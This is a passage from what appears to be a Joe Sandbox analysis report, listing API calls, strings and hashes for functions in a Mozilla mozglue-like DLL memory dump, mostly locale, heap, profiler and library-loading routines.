?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5EC863
std::_Facet_Register.LIBCPMT ref: 6C5EC875

Part of subcall function 6C5CB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C60B636,?), ref: 6C5CB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5EC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EC8BC

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 2e31c84352a18d1dff1ff0fec272d96b82b55ad111c39eb3b10f12559f5b5074
Instruction ID: b99e7cd0db606b35a545a43fa21eda2434eecd26dc5db6261009a6365c774d51
Opcode Fuzzy Hash: 2e31c84352a18d1dff1ff0fec272d96b82b55ad111c39eb3b10f12559f5b5074
Instruction Fuzzy Hash: 2F116375B002059FCB04EFA9CDCA8AE7BB5EFC9355F00012AE51697B41DB30AD05CB95

Function 6C5CF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5CF480

Part of subcall function 6C59F100: LoadLibraryW.KERNEL32(shell32,?,6C60D020), ref: 6C59F122
Part of subcall function 6C59F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C59F132

CloseHandle.KERNEL32(00000000), ref: 6C5CF555

Part of subcall function 6C5A14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5A1248,6C5A1248,?), ref: 6C5A14C9
Part of subcall function 6C5A14B0: memcpy.VCRUNTIME140(?,6C5A1248,00000000,?,6C5A1248,?), ref: 6C5A14EF

Part of subcall function 6C59EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C59EEE3

CreateFileW.KERNEL32 ref: 6C5CF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5CF523

Strings

\oleacc.dll, xrefs: 6C5CF4CB

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 0e186b62adb4376d2afc5f04058617982963dc6697860ccdf96f34a8524e1a67
Instruction ID: 86cfbf97b7c17c5e43366478ca5893692231e12fa7e2a5d6188dd6e678bb1490
Opcode Fuzzy Hash: 0e186b62adb4376d2afc5f04058617982963dc6697860ccdf96f34a8524e1a67
Instruction Fuzzy Hash: 59419D707087509FE720DFA9CC84A9AB7F4AF84319F100B1DF69593651EB70D94A8B92

Function 6C5DE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DE04F

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5DE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5DE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5DE057

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: fbadbf43a6ba8b75f2885ab31faf5c8bb542145151c4e4396f2f0c592a3bf510
Instruction ID: 2c21d84f758d01f93c0fc6ff47c56baecb0b2a5aa3bc27d3775d5d2e1331fe9b
Opcode Fuzzy Hash: fbadbf43a6ba8b75f2885ab31faf5c8bb542145151c4e4396f2f0c592a3bf510
Instruction Fuzzy Hash: 7A21D074B002089FDF00DF69CC98AAEF7B5AF85309F150429E80A97B41DB71A909C7E9

Function 6C5F74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5F7526
__Init_thread_footer.LIBCMT ref: 6C5F7566
__Init_thread_footer.LIBCMT ref: 6C5F7597

Strings

UnmapViewOfFile2, xrefs: 6C5F7552
kernel32.dll, xrefs: 6C5F7557

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 13325cfef352f706438576fb6f64f618469e7fd7a3bad9bf3edc9d6f456eecb3
Instruction ID: d7382a8094c5d6b16d694dd9992e07ec07b5189e7fe4e6db80bc7eb6383e0d59
Opcode Fuzzy Hash: 13325cfef352f706438576fb6f64f618469e7fd7a3bad9bf3edc9d6f456eecb3
Instruction Fuzzy Hash: 7121D335705501EBDB19DFEEAC99E593776EB863AAF00052EE41547F40CB21A8038E9B

Function 6C5FA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61F770,-00000001,?,6C60E330,?,6C5BBDF7), ref: 6C5FA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5BBDF7), ref: 6C5FA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5BBDF7), ref: 6C5FA7E4
LeaveCriticalSection.KERNEL32(6C61F770), ref: 6C5FA80A

Strings

accelerator.dll, xrefs: 6C5FA7BF

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 496d5a5e6c79f72cf23b1639a0d2ee517ece131c70e009795fdb2b039755b977
Instruction ID: e812121186f88eb1a544f6383cefccdad6a616c1d63f47277c19613b98b4fa6b
Opcode Fuzzy Hash: 496d5a5e6c79f72cf23b1639a0d2ee517ece131c70e009795fdb2b039755b977
Instruction Fuzzy Hash: CB0184B07143449F9B08CF5AD8C5D1177B8FB89366704806AE9198BB51DB709801CFA6

Function 6C5F75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5F748B,?), ref: 6C5F75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5F75D7
FreeLibrary.KERNEL32(?,6C5F748B,?), ref: 6C5F75EC

Strings

ntdll.dll, xrefs: 6C5F75B3
RtlNtStatusToDosError, xrefs: 6C5F75D1

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: cbdd4a46a2e1a891683f0e929dc625f3d8a27ddbaf6d84b1877c31696cd39112
Instruction ID: c33d6b094137c4f3485b3d581ea8005dc1018968c8388532faadb6b0d2dec6f7
Opcode Fuzzy Hash: cbdd4a46a2e1a891683f0e929dc625f3d8a27ddbaf6d84b1877c31696cd39112
Instruction Fuzzy Hash: BCE09AB1604341ABDF01DBAFE8CA7017AF8E74629BF104027AA15D1F11DBB480528F19

Function 6C5F7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5F7592), ref: 6C5F7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C5F7627
FreeLibrary.KERNEL32(?,6C5F7592), ref: 6C5F763C

Strings

ntdll.dll, xrefs: 6C5F7603
NtUnmapViewOfSection, xrefs: 6C5F7621

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: dd1dc4e7a1400867e20e531211e260ed6067fe997bb853c04532a2a39ff24c29
Instruction ID: 90732f69aa955d0086ade2629a0cb82ab5dcc1b477cdab48a90d1ae321258d6d
Opcode Fuzzy Hash: dd1dc4e7a1400867e20e531211e260ed6067fe997bb853c04532a2a39ff24c29
Instruction Fuzzy Hash: F0E09AB06047419BDF019FBFAC8A7057AB8E75639BF004117EA05D1F10D7B180128F1D

Function 6C5FBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C5FBE49), ref: 6C5FBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C5FBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C5FBE49), ref: 6C5FBF38
RtlReAllocateHeap.NTDLL ref: 6C5FBF83
RtlFreeHeap.NTDLL(6C5FBE49,00000000), ref: 6C5FBFA6

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: af5837e2b344439d0efc6ad896ce05ef15db7e98947fc547971ab712d4a62336
Instruction ID: 2bde807684fa12b49ed80cfcf911b2764cdf31b7f1e7d54adc9ae9e083d4f984
Opcode Fuzzy Hash: af5837e2b344439d0efc6ad896ce05ef15db7e98947fc547971ab712d4a62336
Instruction Fuzzy Hash: 6D518F71A00205CBE718DF69CD80B9AB3A2FF85314F298639D525A7B54D730F9078F91

Function 6C5E8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?,6C60D734), ref: 6C5E8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?,6C60D734), ref: 6C5E8EBF
free.MOZGLUE(?,?,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?), ref: 6C5E8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?,6C60D734), ref: 6C5E8F46
free.MOZGLUE(?,?,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?), ref: 6C5E8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5DB58D,?,?,?,?,?,?,?,6C60D734,?,?,?), ref: 6C5E8F8F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 57a70a6fb5306410ee7946f7853358977377818bdb8f878caccb6286a82d974e
Instruction ID: 736cd0e90df4a7620c57ba1e27df97b22d544261336a5b05867eca2c5156d833
Opcode Fuzzy Hash: 57a70a6fb5306410ee7946f7853358977377818bdb8f878caccb6286a82d974e
Instruction Fuzzy Hash: 9B51B5B1A012168FEB15CF58DC8076E77B2FF48318F1505AAD526AB740E731F904CB92

Function 6C5E27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E289A
free.MOZGLUE(?,?,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E2910
free.MOZGLUE(00000001,?,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5E2620,?,?,?,6C5D60AA,6C5D5FCB,6C5D79A3), ref: 6C5E294E

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9c40ec53d2a17629bab988288f3f75d60040db998444533082a6e2e066eaa901
Instruction ID: b59747fd0db74faf79320ee17a11618d1d2e09719d37e5a8f54b8043a53e3853
Opcode Fuzzy Hash: 9c40ec53d2a17629bab988288f3f75d60040db998444533082a6e2e066eaa901
Instruction Fuzzy Hash: FF41B0B1A043078FEB14CF68DC8476A77F6AB49308F244939D556EBB44E731E944CB52

Function 6C59CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E784), ref: 6C59CFF6
LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C59D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C59D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C59D139

Strings

MOZ_CRASH(), xrefs: 6C59D187

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 2c4440a909b1e0f1ab6f5c6f1e59b8d53569f2b2a4549a41f0c4179e0c5e7c0f
Instruction ID: d75d9b8f2a599a1bf6745d71892f9b7d05ba2fd14d88c6e43414fcdb1d2ca7dc
Opcode Fuzzy Hash: 2c4440a909b1e0f1ab6f5c6f1e59b8d53569f2b2a4549a41f0c4179e0c5e7c0f
Instruction Fuzzy Hash: 4B41C372B402164FEB04CE7D8DD636A76B4EB89715F14013AE918E7F84E7A1DC008BC9

Function 6C594DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C594E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C594E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C594EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C594F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C594F1E

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 8695c9b43d3068949512fe7c7d04676c5008e659d5854171f94e88f3e52e6443
Instruction ID: f70c66cc6c3e76906feae9c0f9345bf1c37a670fd62b6ce77d0ab4deca27faba
Opcode Fuzzy Hash: 8695c9b43d3068949512fe7c7d04676c5008e659d5854171f94e88f3e52e6443
Instruction Fuzzy Hash: 0841BD716087869FC705CF29C88095BB7E4BF89344F108A6DF96697B41DB30ED58CB92

Function 6C5A1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5A152B,?,?,?,?,6C5A1248,?), ref: 6C5A159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A152B,?,?,?,?,6C5A1248,?), ref: 6C5A15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5A152B,?,?,?,?,6C5A1248,?), ref: 6C5A15E7
free.MOZGLUE(?,?,?,?,?,?,6C5A152B,?,?,?,?,6C5A1248,?), ref: 6C5A1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5A152B,?,?,?,?,6C5A1248,?), ref: 6C5A1637

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 384ca9075d6b08826b86586e4de0b62de9fd114987391d1d7c3ef8c803830c51
Instruction ID: 05dd30575d5f983353063f33ad4150578a39cf150bf45cdfa5674f27fd28290b
Opcode Fuzzy Hash: 384ca9075d6b08826b86586e4de0b62de9fd114987391d1d7c3ef8c803830c51
Instruction Fuzzy Hash: FE31D672A00114CBCB18CEB9DC5056F77E9EB853647290B6DE423DBBE4EB30E9068791

Function 6C5FAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C60E330,?,6C5BC059), ref: 6C5FAD9D

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C60E330,?,6C5BC059), ref: 6C5FADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C60E330,?,6C5BC059), ref: 6C5FAE01
GetLastError.KERNEL32(?,00000000,?,?,6C60E330,?,6C5BC059), ref: 6C5FAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C60E330,?,6C5BC059), ref: 6C5FAE3D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: ef3885366b24422c1ca8b2eddf06fee26b1257901477a53c89757415bf94619a
Instruction ID: 5d26e6aa8b0ae521ad4cad99dfca1bd0ce905f05687715ee8c44d4e5da963d09
Opcode Fuzzy Hash: ef3885366b24422c1ca8b2eddf06fee26b1257901477a53c89757415bf94619a
Instruction Fuzzy Hash: 863186B1A003159FDB14DF798D44AABB7F8EF49610F14882DE95AE7700E734D805CBA5

Function 6C5F5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C60DCA0,?,?,?,6C5CE8B5,00000000), ref: 6C5F5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5CE8B5,00000000), ref: 6C5F5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5CE8B5,00000000), ref: 6C5F5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5CE8B5,00000000), ref: 6C5F5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5CE8B5,00000000), ref: 6C5F5FD6

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 3a6f4f19db06771f3cb0f673feb6bf9f74bdcf48ff1e72a0af67f5c1adcd033b
Instruction ID: 566f88aedb79bb8dcaf90e96941e8f2c75da2de9c8ab50fdba44bc3b722bcd59
Opcode Fuzzy Hash: 3a6f4f19db06771f3cb0f673feb6bf9f74bdcf48ff1e72a0af67f5c1adcd033b
Instruction Fuzzy Hash: 4331DD747106008FE714CF29C898E16BBE6AF89315F948599E56687B95C731EC42CE80

Function 6C59B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C59B532
moz_xmalloc.MOZGLUE(?), ref: 6C59B55B
